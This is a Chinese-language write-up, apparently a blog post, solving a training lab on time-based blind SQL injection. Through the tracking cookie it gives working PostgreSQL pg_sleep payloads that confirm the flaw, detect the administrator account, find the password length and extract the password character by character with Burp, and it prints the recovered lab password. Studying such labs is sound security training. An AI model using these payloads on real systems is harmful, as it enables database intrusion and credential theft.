Lab15_ Blind SQL injection with time delays and information retrieval

前言:

实验室标题为:

带有时间延迟和信息检索的 SQL 盲注

实验室等级:执业者

简介:

本实验室包含一个盲 SQL 注入漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含已提交 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,应用程序也不会根据查询是否返回任何记录或导致错误而做出任何不同的响应。不过,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。

数据库包含一个名为users的不同表,其中有名为username和password的列。您需要利用盲 SQL 注入漏洞找出管理员用户的密码。

要解决实验问题,请以管理员用户身份登录。

提示:

您可以在我们的 SQL 注入备忘单中找到一些有用的有效载荷。

进入实验室

同样是一个商店页面

构造 payload

这里不使用谷歌插件 EditThisCookie 了,通过 burp 抓包进行注入

打开 burp——开启抓包——数据发送到重放模块

由简介可知,该页面存在 cookie 时间盲注,构造 payload 使页面睡眠 10 秒

TrackingId=x';select case when(1=1) then pg_sleep(10) else pg_sleep(0) end--

相比较于之前,页面成功延迟响应

需要注意的是,注入语句需要进行 url 编码才会生效

选中注入语句——右键——Convert selection——URL——URL-encode key characters

将注入语句中的判断条件改为 1=2,再次发送数据包,验证是否会产生延迟

TrackingId=x';select case when(1=2) then pg_sleep(10) else pg_sleep(0) end--

没有产生延迟,程序立即响应

验证是否存在 administrator 用户

TrackingId=x';SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

响应延迟,确认存在 administrator 用户

确认管理员用户的字符长度

TrackingId=x';SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

通过响应时间判断,管理员密码长度为 20

接着确认具体的字符

TrackingId=x';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

发送到爆破模块,标记 1 和字符 a

在Resource pool 设置最大并发请求数为 1

开始爆破,通过接受响应时间判断具体的字符,响应时间超过 10 秒的就是我们需要的值

按顺序将爆破得到的值排序,就得到管理员密码了

4zn0x5hany2jtau01zp5

登录管理员账户,成功通关

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值